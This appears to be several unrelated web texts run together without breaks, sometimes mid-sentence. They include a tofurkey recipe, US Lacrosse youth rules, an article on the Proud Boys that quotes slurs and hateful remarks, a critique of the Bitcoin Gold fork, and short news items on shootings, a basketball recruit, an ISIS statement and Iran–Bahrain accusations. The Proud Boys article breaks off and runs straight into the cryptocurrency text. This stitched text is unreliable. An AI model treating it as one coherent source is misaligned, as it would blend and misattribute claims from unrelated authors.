My first trial tofurkey (above) was loosely packed with the sticky rice and pine nut dressing. As a result, the tofurkey deflated and wrinkled a lot. It tasted remarkably good but looked sad.
For the second and third trials (below), I packed in the stuffing a little tighter. That did the trick. Handsome and presentable.
My husband looked at it and said, couldn’t you add a little gravy? Ah, the miso mustard sauce recipe that Chef Douglas Keane shared with me; he employed it with tofu at Cyrus, a Michelin-starred restaurant in Healdsburg that is no longer in operation. He’d learned it from a chef in Japan so it seemed totally appropriate.
For our tofurkey dinner, I added green beans and sweet potatoes to round things out. We sat down to dinner and much to our delight and surprise, the Asianized tofurkey was completely satisfying. My husband, who was a strict vegetarian decades ago, said that if the food back then was as good as what we were eating, he would still be a vegetarian today.
We enjoy a wealth of vegetables in our diet but it was nice to have a pure vegetarian meal. It was full of flavor yet light on our systems. Give this a whirl for the holidays, whether or not you have vegetarian diners at the table. It's remarkably fun and good tasting.
Note that the mushroom seasoning powder is a natural Asian flavor enhancer that’s very popular. It imparts an umami meatiness. Here’s information about the MSG replacement. If you don’t want to use it, I think you can sub nutritional yeast or a vegetable broth base. Remember this: Working with tofu is easy because as a ‘pre-cooked’ protein, you can taste it as you season it before cooking.
Recipe
Tofurkey with Ginger Miso Sauce
Yields: 4 servings
Ingredients
2 tablespoon white (shiro) miso
2 tablespoons Dijon mustard
Scant 1/2 tsp. Sriracha chile sauce
1/2 cup sake
6 tablespoons mirin, storebought or homemade
1 to 1 1/2 tablespoons finely chopped ginger
1 1/2 teaspoons soy sauce mixed with 1 tablespoon of canola oil
28 to 32 ounces (840 to 960 g) extra-firm tofu
3/4 teaspoon salt
1/2 teaspoon pepper
1 1/2 to 2 teaspoons mushroom seasoning powder
1 large egg or 1 tablespoon canola oil
1 or 2 tablespoon cornstarch (use more for oil)
2 1/2 cups Sticky Rice and Pine Nut Dressing
Instructions
For the sauce, in a small saucepan, whisk together the miso, mustard, Sriracha, sake, and mirin. Add the ginger. Bring to a boil over medium heat, lower the heat to simmer for 4 to 5 minutes, until the sauce has slightly thickened to resemble a butterscotch colored light cream sauce. Coat the back of a spoon and run your finger through it. The line should hold. Remove from the heat. Strain through a mesh strainer, pushing against the solids. Set aside to cool before using, or refrigerate overnight. Makes about 3/4 cup. Position a rack in the middle of the oven and preheat to 425F (220C / gas mark 7). Line a baking sheet with parchment paper. Line two mini-loaf pans with a piece of parchment paper that extend about 1 inch above the sides. Set aside. Mix the soy and oil mixture with 1 tablespoon of the miso-mustard sauce. Taste and add sugar, if needed. Set this glaze aside. Break the tofu into large chunks. In batches, squeeze the tofu in a piece of muslin to expel water and mash. Transfer to a bowl. You should net about 22 ounces (660 g). Season with the salt, pepper, and mushroom powder. Taste it as you tweak. Add the egg (or oil) and cornstarch. Mix well to combine into a compact mixture. Line the bottom and walls of each mini loaf pan with a generous 2/3 of the tofu mixture. By the small handful, add the dressing, pressing it slightly (it will compact during baking). Cover the top with the remaining tofu mixture. Each loaf will be full and feel a little heavy. Brush some of the glaze onto the bottom. Take a breadth before inverting the loaf pans onto the prepared baking sheet. Leave the pans in place. Bake for 15 minutes, then remove the pans and parchment. Brush glaze on the tofurkey (you’ll likely have a bit leftover), the replace in the oven. Bake 15 minutes more, brushing on the remaining glaze midway. When the tofurkey is lightly browned with a few tiny bubbles at the surface, blast it with broiler heat for 6 to 10 minutes to form a brown crust. Cool for at least 10 minutes before slicing and serving with the sauce.
Tip: Reheat in an oven or toaster oven preheated to 400F for about 10 minutes, until hot. Slice leftovers and panfry in a skillet.
Related recipes:SPARKS, Md. —The US Lacrosse Board of Directors recently approved boys’ youth lacrosse rules that align with the Lacrosse Athlete Development Model (LADM). The new rules are based on the core values of the LADM, which are to encourage skill development and grow participation by promoting a safe and fun playing environment through developmentally appropriate rule sets tailored to specific age groupings.
In early 2016, the US Lacrosse Board of Directors tasked the Men’s Game Rules Subcommittee to develop rules of play that support the LADM. The new rules follow the LADM recommendation that small-sided games be played at younger ages, with size of field and numbers of player progressively increasing as players develop both physically and cognitively. The rules also align with the new recommended player segmentation groupings that will take effect in September 2017.
“The Men’s Game Rules Committee is proud to take these initial steps in a bold new direction, embracing the principles of the ADM that other sports have incorporated so successfully,” said David Seidman, chair of the committee. “While we expect lots of questions, we are confident that the kids are going to love playing under these conditions, and coaches and parents will appreciate the simplified rules that are presented in a modern, enjoyable and easy-to-read method.”
A youth-specific rulebook will available digitally later this fall and hardcopies will be available in early 2017. The following summaries of play at each level are provided to assist clubs and leagues as they plan for their spring seasons.
6U
Players: 3v3 with no goalie
Field Size: 60 yards x 35 yards (cross field)
Equipment: Sticks only, soft-type ball
Goal Size: 3 feet by 3 feet
Penalties: Player leaves the field. No time-serving penalties. Penalties used as a teachable moment to explain the foul that has been committed.
Body Checking: No body to body contact is permitted.
Stick Checking: Stick to stick contact is not permitted
8U
Players: 4v4 with no goalie or 3v3 plus a goalie
Field Size: 60 yards x 35 yards (cross field)
Equipment: Full equipment, soft-type ball
Goal Size: 3 feet by 3 feet
Penalties: Player leaves the field. No time-serving penalties. Penalties used as a teachable moment to explain the foul that has been committed.
Body Checking: No body checking permitted. Any overt (obvious) collision should be enforced as an illegal body check. The following types of body contact are allowed:
legal holds
legal pushes
positioning yourself against an opponent to gain possession of a loose ball (i.e. boxing out)
defensive positioning to redirect an opponent
incidental contact
Stick Checking: Only checks with the crosse listed below are legal. In all cases stick checks must be made on the crosse of an opponent or gloved hand of a crosse when an opponent is in possession of the ball or within 3 yards of a loose ball.
(a) Lift the bottom hand, when it is on the stick and below the chest; or the head of the stick when it is below the chest area.
(b) Poke the bottom hand when it is on the stick and below the chest area; or the head of the stick when it is below the chest area.
(c) Downward check initiated below the shoulders of both players.
10U
Players: 6v6 with no goalie or 5v5 plus a goalie
Field Size: 60 yards x 35 yards (cross field)
Equipment: Full equipment, NOCSAE lacrosse ball
Goal Size: 6 feet by 6 feet (5x5 or 4x4 allowable)
Penalties: Time-serving penalties.
Body Checking: No body checking permitted. Any overt (obvious) collision should be enforced as an illegal body check. The following types of body contact are allowed:
legal holds
legal pushes
positioning yourself against an opponent to gain possession of a loose ball (i.e. boxing out)
defensive positioning to redirect an opponent
incidental contact
Stick Checking: Only checks with the crosse listed below are legal. In all cases stick checks must be made on the crosse of an opponent or gloved hand of a crosse when an opponent is in possession of the ball or within 3 yards of a loose ball.
(a) Lift the bottom hand, when it is on the stick and below the chest; or the head of the stick when it is below the chest area.
(b) Poke the bottom hand when it is on the stick and below the chest area; or the head of the stick when it is below the chest area.
(c) Downward check initiated below the shoulders of both players.
12U
Players: 7v7 or 10v10, depending on size of field used
Field Size: 60 yards x 35 yards (cross field) or 110 yards by 60 yards
Equipment: Full equipment, NOCSAE lacrosse ball
Goal Size: 6 feet by 6 feet
Penalties: Time-serving penalties.
Body Checking: No body checking permitted. Any overt (obvious) collision should be enforced as an illegal body check. The following types of body contact are allowed:
legal holds
legal pushes
positioning yourself against an opponent to gain possession of a loose ball (i.e. boxing out)
defensive positioning to redirect an opponent
incidental contact
Stick Checking: Only checks with the crosse listed below are legal. In all cases stick checks must be made on the crosse of an opponent or gloved hand of a crosse when an opponent is in possession of the ball or within 3 yards of a loose ball.
(a) Lift the bottom hand, when it is on the stick and below the chest; or the head of the stick when it is below the chest area.
(b) Poke the bottom hand when it is on the stick and below the chest area; or the head of the stick when it is below the chest area.
(c) Downward check initiated below the shoulders of both players.
14U
Players: 10v10
Field Size: 110 yards by 60 yards
Equipment: Full equipment, NOCSAE lacrosse ball
Goal Size: 6 feet by 6 feet
Penalties: Time-serving penalties.
Body Checking: Limited body checking is permitted. However body checks that might be acceptable in high school play may be excessive in youth lacrosse, and should be penalized accordingly.
Stick Checking: Last season’s US Lacrosse stick checking rules will still apply which includes a rule prohibiting one-handed stick checks.
Questions concerning the new US Lacrosse boys’ youth lacrosse rules can be addressed to Rick Lake, men’s game senior manager, at [email protected]His people are getting arrested in Boston, and he lost a speaking gig in Chicago. Folks are becoming wise to this scumbag’s plans, and a guest contributor breaks him down.
Established last year, the Proud Boys was meant to be something between an adult frat and a fan club for Gavin McInnes’ media projects on Compound and Rebel Media. The political aspect of the group was meant to mirror Gavin’s; support of the Trump agenda, male chauvinism, and hatred of Islam, trans people, and leftists. McInnes himself flirts with fascist ideas, writing a column for Taki’s Magazine (a job Richard Spencer helped him land) justifying the political genocide of the Pinochet regime, and often giving a supportive platform to open fascists and neo-Nazis like Emily Youcis, Nathan Damigo, and Sam Hyde on his show.
Despite his affiliations, McInnes has been adamant about keeping Proud Boys an arm’s length from America’s growing neo-Nazi movement, something he recently reiterated in a video for Rebel Media. He claims, first of all, that Nazis don’t exist—most people claiming to be Nazis are just trolling and any reported hate crimes are hoaxes perpetrated by liberals, and secondly, the few Nazis who do exist should not be Proud Boys because he wants the group to appeal to “Jews” and “Blacks.”
Judging by recent conflicts between antifascists and the Alt Right in Berkeley and New York, where Proud Boys were prominent in their black and gold polo shirts, and black, latino, and Jewish Trump supporters fought alongside various species of white identitarians, one might think he was on to something. The Proud Boys are predominantly white, but feature several people of color, including Sal Cipolla of Oceanside New York, a regional leader of the Proud Boys who is part Colombian. McInnes says he hopes to have a conservative movement to which people of color can defect, and does not worry about inviting them to join in a popular front that starts with his own brand “civil nationalism,” and ends with the white nationalists and raging anti-Semites in their coalition.
But Gavin must know how wrong he is that there are no Nazis. Several prominent Proud Boys run in their circles, even Cipolla, who is oddly accepted under the grounds that they will “send him back last.” Together, the allegedly “Alt-Lite” Proud Boys and self-proclaimed neo-Nazis from the Daily Stormer blog and The Right Stuff podcast network have formed an Alt Right popular front with an agenda of injecting White Nationalism, including it’s most radical calls for ethnic cleansing, genocide, and “White Sharia” into “normy” Trumpism, and intimidating and attacking leftists, queers, and people of color. While they will defend themselves on the grounds of free speech, their incitement to violence has a recent history of success.
Since their inception, the Proud Boys have been rooted in a fetish for political violence. Writing for Bedford and Bowery, Nicole Disser covered the Proud Boy’s first public meet-up: “’It’s funny, there was a big fist fight,’ McInnes told B+B… ‘One of them was covered in blood at the end.’”
Their first public event was as a security force at a Trump-themed art show set up by Lucian Wintrich, a founder of “Twinks4Trump” who now has White House Press credentials as a writer for the Gateway Pundit and attended an Alt Right protest called by Richard Spencer and the coordinator of the neo-Nazi “The Right Stuff” podcast network, Mike “Enoch” Peinovich, in April. Milo Yiannopolous made an appearance at the show, splattering pigs blood on images of terror victims in an Islamophobic gesture against refugees. A lone protester was ejected, his phone dropping out of his pocket in the process. McInnes stomped on it to cheers of his Proud Boys.
Shortly after the election, NYC Antifa published a list of known Proud Boys including their places of employment, noting their proximity to far right groups and an election night part that featured former British Nationalist Party Jack Buckby, Anthony Cumia formerly of the Opie and Anthony Show, and Alt-Right comedian Sam Hyde. The article went viral, with several of those listed losing work as a result.
Among them was Martina Markota, a conservative performance artist who goes by the name “Lady Alchemy,” often the lone woman at Proud Boys events. After fellow performers shared the article, she was blacklisted from several prominent venues. She says that antifa’s criticism of her group amounts to terrorism, and joined Gavin on his show to mock fellow burlesque performers that made an issue out of her far right politics by mocking their body size, sexuality, and ethnicity. McInnes took the opportunity to refer Markota’s non-binary critics as “gender niggers.”
Alex Caprio of Jersey City also lost his job when his bosses discovered his affiliation. Seeking revenge, Caprio misidentified the author of the NYC Antifa post as a member of the band Pink Mass. McInnes encouraged the Proud Boys on Facebook and his Twitter followers to go their December 30th show at Saint Vitus bar in Greenpoint, Brooklyn and “wreck their shit.” They didn’t show, and when antifascists on Twitter asked why, McInnes responded that a scout called the operation off due to police car parked outside the venue.
In early January, McInnes shook up his organization. The British identitarian Jack Buckby was out, along with Robert Campbell, an open neo-Nazi with ties to Richard Spencer and NPI. McInnes posted on Facebook that he did not want any Nazi activity within the Proud Boys. Cipolla, wh o often posted anti-Jewish and pro-Nazi memes on Facebook, regretted the move, noting that he would try to limit his references to Nazism.
Nonetheless, McInnes continued to feed the violent ambitions of the group. He attempted to start a fight with an antifascist outside the “Deploraball” on January 19th, and bragged about it later in a Rebel Media video called “Fighting ‘anti-fascists’ is fun!”
On February 2nd, McInnes was invited to speak at NYU by the College Republicans. Citing his racist and homophobic sentiments, student groups called for the event to be cancelled, and a large protest gathered both inside and outside the building. He was reportedly offered a secure entrance to the building, but preferred to march in with his Proud Boys as a show of force. A fight started in which McInnes was pepper-sprayed. Later that night he hugged one of his children, rubbing residue of the spray on his child’s face. McInnes posted a picture of his child’s red eyes, tweeting “Antifa are going to die.”
While Gavin was being shouted down by NYU students, Cipolla and another Proud Boy, Ryan Katsu Rivera, were arrested for criminal mischief. Cipolla for assaulting journalists from DNAInfo and Gothamist, and Rivera for starting a fight. In an episode of Mike Red Barr’s radio show, Rivera reveals that he went to the e vent in a black mask to blend in with the antifascists, and started fighting them when his disguise failed. He bragged that he and Sal became “fourth degree” Proud Boys as a result of having punched two antifascists. While the first three degrees involved trivial gags like getting a Proud Boy tattoo and being “punched-in”, the fourth degree is rewarded for “a major fight for the cause,” McInnes told Metro.us, “You get beat up, kick the crap out of an antifa.”
A video from Berkeley shows a Proud Boy named “Levi” bragging about getting his “fourth” after being “wrecked.” At a Proud Boys-sponsored “free speech rally” in Boston on May 13th, Cipolla livestreamed himself walking up to protesters and offering them a pepsi, shoving one of them after they pushed his hand away. He was arrested once again.
The “Fourth Degree” was mentioned by administrators at DePaul University in Chicago as justification for cancelling an upcoming McInnes appearance on campus.
Another major Alt Right happening began the week of January 20th, when actor Shia Leboeuf started a performance art piece called “He Will Not Divide Us” at the Museum of the Moving Image in Astoria, Queens. The ill-conceived concept involved chanting the phrase for the entirety of Trump’s term in front of a 24/7 webcam mounted outside the museum. 4Chan quickly had the idea of turning the webstream into their own TV show, encouraging users in the area to troll it in person. Shia turned out to be the perfect straight-man for the 4chan’s comedy, offering nothing but the despondent chant in response to the trolls’ repetition of pro-fascist memes.
Eventually Leboeuf snapped, shoving a troll who embraced him and said “Hitler did nothing wrong” into the camera, causing him to be arrested. The incident caused the event to take-off amongs fascists, conservatives, and mischievous internet trolls alike. The Proud Boys became a regular fixture there, especially Cipolla, who met a new, younger generation of pro-fascists like “4Chad” and Brittany “Venti” Dier. The next week, more Alt Right stars dropped by to get some HWNDU camera time, including members of Identity Europa and The Right Stuff.
For some of these White Nationalist activists it was their first time meeting other radicals or doing political activity in real life. On the TRS podcast “Beyond the Wall,” Peinovich describes using the event as cover to harass local Muslim teenagers:
Peinovich: That neighborhood [Astoria]… used to be a working class Italian-Irish neighborhood and now it’s filled with Muslims, Hispanics, everything… we had a little run-in with some Muslims. We had a bunch of people, we started yelling at these Muslims back and forth, saying ‘you gotta go back. get the fuck out.’ Host: You actually told Muslims to go back? Weren’t you afraid they would get explodey? Peinovich: Yeah, they were very aggressive. This is part of the dynamic of what’s going on with White people. White people are not by nature socially confrontational. Some are… we’re trying to break that mold a little. They were getting aggressive, they started following us and getting in our faces a bit. We had more of us then them, and they were teenagers. They count on the fact that they’re brown and aggressive to intimidate most white people. Since we were in a group of 10 TRS goys that’s not going to happen.
Host: They didn’t know they were against nazis.
Peinovich: They didn’t know they were talking to literal Hitler. Yeah, we were like, go the fuck back. Get out of our country. What right do you have to be here?
Some of those who met at HWNDU continued to hang out and troll other leftist protests with racial slurs and fascist memes. Cipolla, Venti, Jovi Val, and others organized groups to livestream these interventions, often resulting in fights. One video shows Cipolla, Dier, and other Proud Boy/HWNDU veterans going to a Trump protest at Colombus circle. Cipolla announces statistics about black crime to fellow passengers. He pulls a first aid kit from his pocket and yells, “I might have to perform an abortion, there might be a lot of black women there” before Dier zooms in on the faces of people on the subway who seem uncomfortable by the trolling, and Cipolla yells “you’re a fascist” at anyone who questions him.
At the end of February, two college students were beaten up by John Young and other members of the right-wing 211 skinhead gang outside the Clockwork bar in the Lower East Side for having antifascist stickers on their phone. McInnes took issue with the coverage of the assault, arguing that 211, which is well known for hosting annual Nazi concerts, are merely patriots, and the fight was initiated fairly after the students attempted to photograph members of the gang. The New York Post |
a lot of things that can go wrong while claiming the dividend, you get exposed to risk of loss, in the worst case even of your Bitcoin and you definitely risk your monetary privacy. What you have to do depends on what you are trying to achive
I want to hold my forkcoin
Great, that's the spirit. You don't have to do anything if you own the private key to your Bitcoin. You'll be able to access both paths of the fork knowing only your private key at any point down the road. This doesn't mean that it is easy to do so or that you will be able to do it quickly, depending on how you store your private keys. But it will always be possible and you can just take as much time and read as many manuals as you need in order to be comfortable with the process and wait for mature software to become available to sweep your keys or spend them from your hardware wallet. The coins on neither side of the fork will run away or become unavailable. That is, of course, unless one of the forks ceases to exist in its entirety. If on the other hand you store your coins with an external party, your ownership of either side depends on their whim. This has famously been a problem with Coinbase's approach to BCH, who will keep their customers BCH until January.
I want to trade the fork as soon as possible
Well, this one might become a little tricky. You'll need quick access to the forked coins, at a time when there are no manuals around and no vetted software for doing so. Your safest bet is to store your private keys on paper, but this is expert mode only!!! Do this at your own risk.
No matter when and if you spend your forked coins, doing so requires signing something with the same private key that also secures your Bitcoin in the same address. So please handle this with care. Only use software that has been well vetted by you or parties you trust before exposing your private keys to them. If in doubt, one option that can prevent you from loss is to empty the Bitcoin from that wallet first, to some other wallet under your control. Once that transaction is sufficiently confirmed on the blockchain, even if you expose your private key to some untrusted software, the worst that software can do is take your forked coins and potentially compromise your privacy. This is true for forks with strong replay protection, which Bitcoin Gold seems to have. This section does not apply for future upcoming forks like B2X.
Privacy is something you should consider in all cases. Sending the forked coins to some exchange will give information at least to that counterparty about your Bitcoin holdings as well.
It is rather unfortunate that I have to say this, but for the BCH fork, and seemingly also for the currently ongoing Bitcoin Gold fork, traders who were able to get the best price, immediately post-fork, were the ones who did not follow the best-practice recommendation to store their private keys themselves, but had their Bitcoin waiting on an exchange. For BCH there was no prior precedence and it was unknown which exchanges would give their customers the BCH quickly for the BTC they held during the fork and it was also not clear which exchanges would open a market quickly. For B2X, this is much better documented already now, weeks before the fork.
The Bitcoin Gold logo
Gold?
So after now spending half the article before looking at Bitcoin Gold at all but rather dealing with general considerations and best-practices of forks, let's go into the subject at hand and look at their four most prominently placed goals: Decentralization, fair distribution, replay protection and transparency.
Decentralizaion - The hashing function
The self-stated main purpose is to increase the decentralization of Bitcoin mining by switching to a mining algorithm that is 'asic resistant'. This means that it is supposed to be more difficult to construct Application Specific Integrated Circuits for the sole purpose of mining. This is achieved by making the hash function more memory intensive. In short,'mining' is done by calculating some hash function of the block header, which consists of (unique) information about the block and some nonce. The nonce is some number that can be changed until the hash is lower than the current mining difficulty. It is impossible to predict how the hash will change when changing the nonce due to the avalanche effect, so in order to find a low hash, there is no other way than to try different nonces one after the other by brute force.
I want to cut the level of detail short at this point, but it is relevant for this discussion to understand that he who can check more hashes per second has a relative advantage over others to find blocks and thus claim the reward. Bitcoin uses double-sha256, which is complicated, yet fairly straight-forward. The reason that asics are so much more powerful in mining than your usual CPU or GPU is that those are designed to solve general problems, the efficiency of asics lies in stripping away all of that and implementing in hardware just the necessary task and nothing else. Modern mining asics are just now catching up to the latest development in chip-set manufacturing, before it was possible to produce equipment that was vastly more efficient at mining than [CG]PUs even with outdated production facilities.
Bitcoin gold on the other hand uses Equihash, the same hashing algorithm that is used in Zcash and for the same reason as there. Its bottleneck is not some calculation, but shuffling through large amounts of memory. You can get your competitive edge not by buying dedicated computing hardware, but by buying dedicated fast computer memory. But that memory is already very much at the forefront of the technological advancements, since it is the same piece of hardware that is used in traditional PCs. There is no potential for building more efficient mining hardware by employing outdated tech. Sure, it will still be possible for anybody to buy more memory and get the edge, but firstly, the advantage will be linear and limited and secondly (and more importantly) access to memory is easy and evenly spread out. This is indeed very much unlike the situation in Bitcoin, where very few mining chip manufacturers control the market. You already have your mining hardware at home.
While the idea for 'decentralizing' mining seems appealing at first for just this reason and was similarly one of the driving forces behind litecoin's scrypt algorithm, it turns out to be susceptible to other problems. It is important for the stability of a cryptocurrency that nobody is able to take a huge chunk of the market. For asic-susceptible hashing algorithms that might happen by chip production monopolies, for asic-resistant algorithms the risk are botnets, that is meshes of computers that are controlled by attackers usually obtained through viruses and that can easily reach sizes of several tens of millions, that have been used for cryptocurrency mining recently. In a similar way, the infamous illegal video sharing platform Pirate Bay recently started taking 'payments' by using the CPU of visitors of their site to mine Monero. The reach of this kind of use of resources is -as of now- very limited, but those two examples show the potential for very few entities to get a significant share of the total hashrate and thereby of the chance to disrupt the currency if the mining equipment did not have to been bought for that specific purpose like asics.
I honestly did not make up my mind yet if a currency should rather be asic-resistant or botnet-resistant. I tend towards the latter, as this will at least not lead to wide swings in the hashrate as botnets are switched off, but depending on the degree of mining centralization, disruptions can be expected there as well. And Bitcoin clearly currently does have some shortcoming on that front.
Replay protection
This is probably in response about the ongoing debate whether or not strong replay protection will be present in the B2X fork later in November. That team got a lot of heat for repeatedly switching their stance on replay protection, leading up to exchanges implementing their own splitting solution. It might seem like the safer option to go with strong replay protection. No complains here, it is state-of-the-art, at the same time not excitingly new, BCH paved that path in August.
Transparency - The team
The reason behind the claim for transparency is the fact that the software is available as open source and it being built by volunteer developers. I struggle to come up with a relevant project for which this is not the case, so I am not sure how to evaluate this as an advantage. But let's take the opportunity to look at the code.
The GitHub repositories for website, blockexplorer and whitepaper are empty. At least there, the development and discussion seems to be internal only. For the whitepaper, one reason that it is not on GitHub might be that the meta tags of the pdf reveal the original file name: Microsoft Word - Bitcoin Gold Roadmap.docx. This is of course not a problem per se. But I find it hard to imagine that there has been a lot of collaborative work on this.
Visiting the GitHub page of the code, the first thing that stands out is the huge "Warning: Bitcoin Gold is a work in progress. If you don’t understand what you are doing, please don’t compile and run your own client from the staging tree. Your own client will NOT WORK for both testnet and mainnet. However, you're more than welcome to help test the code and join the development."
Well, at least that's honest, although I had hoped for more finished product at a stage when the forking date already happened and we are just waiting for the publication of the chain. I did not spend too much time on going through the GitHub repository. But commit messages like "Disable bitcoin libs to make TravisCI happy." or a "Change mainnet address version." of six days ago (followed more recently by "Fix broken tests for new address format." leave some doubts about the seriousness of the project. At the same time, they fell more than 400 commits behind the main bitcoin core repository from which they forked.
Fair distribution - The hardfork
Special attention should be drawn to commit 09ff5dd: Add foundersReward. How precisely this would work was unknown up to that point how their reward will be. From reading the code it seems that they want to receive 20% of the block reward for the first 8000 blocks, that is an insane 100k BTC. At the current exchange rate this would be around 13 million dollar. I guess it is up to the reader to decide if this is an appropriate reward for a project of a hand full of developers that came to existence less than two month ago (according to their GitHub repo).
They claim that "A hard fork of Bitcoin is the most fair and efficient method of creating and distributing a new digital asset. Coins that are created from a new genesis block always have ownership concentrated among a smaller group of people." It seems unclear how 'coins that are created from a new genesis block' differ from 'coins that are scalped off the block reward over some time'.
Conclusion
When googling for "Bitcoin Gold", their own website is only linked on page 3, and even then it is not the landing page. Before that you'll find several topical and general interest news outlets. Apparently there is more to say about the project than by the project, which somehow fits into the overall picture. Especially because I don't necessarily think that the asic-resistant hash function solves an actual problem with Bitcoin, I don't see the need for this project at this time. Let's see if the other candidates will get a better evaluation.PAINESVILLE, Ohio -- A Painesville mother who was shot during an afternoon walk in the park took to Facebook to thank law enforcement who captured her shooter and to express gratitude to God.
Mary Kable, 40, posted the status Monday morning, just hours before she attended a court hearing for the man accused of shooting her in the arm. Juan Emmanuel Razo, 35, is facing charges in connection with the July 27 shooting at the Lake Metroparks Greenway Corridor.
Kable stood just feet from Razo at his hearing and asked the judge to deny a request from Razo's attorney to lower his $10 million bond. Razo, an undocumented immigrant, is also accused in a fatal shooting and attempted rape on the same day Kable was shot in the presence of her two 12-year-old children.
Kable didn't share details of the shooting in her post, but said she wanted to express her gratitude toward the community.
"Last week my kids and I were able to see God move in big ways," she wrote. "No matter how vivid those memories are, Greg recounts God giving him the strength to run, we recount the help we were given by those when I emerged from the hill, God provided off-duty police personal right there, a friend to stand with Marley, a kind nurse, fire station personal that I will forever be grateful for, doctors and security which helped us feel safe."
Kable offered prayers to the family of 60-year-old Margaret Kostelnik, who was shot to death in her home located almost directly behind the Greenway Corridor.
She also thanked members of law enforcement who captured Razo after a shootout with SWAT officials the day of the attacks.
The post has been shared more than 1,000 times and garnered dozens of comments and "likes."
Razo is still in custody with the Lake County Sheriff's Office after a judge refused to lower his bond. His case has been turned over to the a grand jury in the Lake County Court of Common pleas.
Kable declined an offer to be interviewed for this story.No. 1 basketball prospect DeAndre Ayton joins SportsCenter to explain why he chose to pursue his collegiate career at Arizona. (1:02)
DeAndre Ayton, the top-ranked boys' basketball recruit in the country, has chosen Arizona over Kentucky and Kansas.
Ayton entered the summer listing only Kansas as a school of interest, but he said the Wildcats made up ground due to the relationship the staff built with both him and his mother, Andrea. The 7-foot-1, 245-pound Ayton is a native of the Bahamas who attends Hillcrest Academy in Phoenix.
Editor's Picks DeAndre Ayton could deliver Final Four for Sean Miller Arizona has been to the Final Four, just not with Sean Miller, who has come oh so close. DeAndre Ayton's decision to go to Arizona instead of Kentucky or Kansas might get Miller there.
Scout's Take: No. 1 DeAndre Ayton commits to Arizona The attraction of playing close to home and the relationship DeAndre Ayton built with Sean Miller made the difference in Ayton's decision. 1 Related
"It's close to home, and I really built a great relationship with Coach [Sean] Miller and [Joe] Pasternak," Ayton told ESPN. "It's important to me for my mom to see me play -- and to be close to her."
Ayton moved to San Diego in the seventh grade from Nassau, and he is in his second season at Hillcrest.
There has been speculation that Ayton could be the next big-time high school standout to play overseas instead of in college. However, he told ESPN that won't be the case -- and that he is focused on playing at Arizona.
"College is a must," he said. "My family wants me to go to college. It's important for me and my mom. I want to go to Arizona and win a national championship. Arizona won its only national title 20 years ago -- and I'd like to help bring another one to Tucson."
DeAndre Ayton, whose skills have been compared to Kevin Garnett, will play for Arizona. Brian Rothmuller/Icon Sportswire
Ayton, 18, has been considered the best player in the 2017 class since dominating against older players at the LeBron James Skills Academy during the summer of 2014. He is an athletic, skilled big man who is versatile enough to play in the post and also step out on the perimeter and make shots. He compared his game to future NBA Hall of Famer Kevin Garnett.
"Every time I watch him, I see that fire he plays with," Ayton said. "That's the same fire I have."
"I've seen him grow a ton in the last year, even in the last three months," Hillcrest coach Kyle Weaver said. "He's become a leader. There's no one I'd rather go to battle with than DeAndre. He has such a bright future, and Arizona will certainly have a chance to win a national title with him in the fold."
Ayton averaged 20.1 points and 11.9 rebounds on the Nike EYBL circuit this past spring and summer, including posting a 25-point, 12-rebound performance against Wendell Carter, the No. 1 power forward in the Class of 2017.
The top two prospects in the senior class are now already committed, with Ayton joining No. 2 Michael Porter Jr., who committed to Washington in July.
Ayton is the second commitment in the 2017 class for Arizona. The Wildcats also landed ESPN 100 guard Alex Barcello in late August. Miller has recruited a top-seven class in six straight seasons and is now in good shape to end up near the top of the rankings once again.
Ayton is the first No. 1 prospect to commit to Arizona since ESPN's database began in 2007. He's the first top-five prospect to commit to the Wildcats since Miller reeled in Kaleb Tarczewski (No. 4) and Aaron Gordon (No. 4) in back-to-back classes in 2012 and 2013, respectively.President Donald Trump has been tweeting and talking about ISIS since at least 2014 — and now the terrorist group has commented on Trump.
On Tuesday, the Islamic State’s spokesman Abi al-Hassan al-Muhajer released the group’s first official statement about the U.S. president, Reuters reports. “America you have drowned and there is no savior, and you have become prey for the soldiers of the caliphate in every part of the earth, you are bankrupt and the signs of your demise are evident to every eye,” al-Muhajer said in a recording shared through the messaging network Telegram. “There is no more evidence than the fact that you are being run by an idiot who does not know what Syria or Iraq or Islam is.”
The message comes as the Trump administration works on a plan to defeat ISIS (as Trump vowed to do), which includes backing local forces to retake ISIS strongholds in Iraq and Syria, as well as domestic efforts like Trump’s attempted Muslim ban.
But experts say that Trump’s Muslim ban actually works in ISIS’s favor and that the extremist group has been using it as a recruitment tool to illustrate their notion that the West has waged war on Islam and Muslims. In fact, prior to the election, Foreign Affairs magazine analyzed ISIS communication and interviewed supporters and concluded that jihadists were actually hoping Trump would win and lead the U.S. to self-destruction — a sentiment that is in line with al-Muhajer’s statement.
But, Business Insider points out, ISIS commonly targets U.S. presidents with its propaganda, using Obama-centric messaging to promote its ideas and goals as well.
And today’s message from ISIS continues with that theme. “This is about convincing would-be terrorists of the group’s strength, durability, and thus worthiness of support,” Michael S. Smith II, a terrorism analyst who studies ISIS propaganda, told Business Insider. “For those willing to drink that toxic cocktail, this all translates to an incredibly effective framework for inciting violence that entails the use of an authoritative figure — a caliph — and his proxies like [al-Muhajer] to command violence globally.”
Related: Muslim Lawyer Shuts Down a Troll Who Asked Why There’s No ‘Christian ISIS’
Check this out:Jennifer Hudson's Mother and Brother Murdered: 7-Year-Old Nephew Missing
's mother and brother were found murdered in Chicago today.
A cousin who lives nearby found the bodies of 57-year-old Darnell Donerson and her son Jason in Donerson's home on the South Side of Chicago. Both had been shot to death.
Officers were called to the 7000 block of Yale Avenue in the Englewood neighborhood just before 3 p.m. and the home was declared a crime scene.
Police have also issued an all points bulletin for Hudson's 7-year-old nephew Julian King (pictured below), who may have been taken from the scene. Police are looking for a man known as "William." He has braids in his hair, and could be driving a 1994 white Chevy Suburban with license plate X584859.
Jennifer Hudson was in Florida when she heard the news and is currently en route to Chicago.
Video of the crime sceneIran has dismissed a recent Bahraini allegation linking the Islamic Republic to an oil pipeline fire near the capital, Manama.
On Friday night, an explosion at an oil pipeline, belonging to the state-run Bahrain Petroleum Company (Bapco), caused a fire in the vicinity of the village of Buri. The pipeline was running between Bahrain and Saudi Arabia.
No one was injured in the blast and no group claimed responsibility, but Bahrain's Foreign Minister Khalid bin Ahmed Al Khalifah claimed in a post on Twitter that the incident was “a dangerous Iranian escalation.”
On Sunday, Iran's Foreign Ministry spokesman Bahram Qassemi vehemently dismissed the accusations as "delusional."
Iran's Foreign Ministry spokesman Bahram Qassemi (Photo by IRNA)
“Apparently, the only thing that Bahraini officials have been taught to utter following any incidents in the island is accusing Iran,” Qassemi said.
He reminded Bahraini authorities that “the era of such delusional remarks and lies as well as hype and childish accusations is over.”
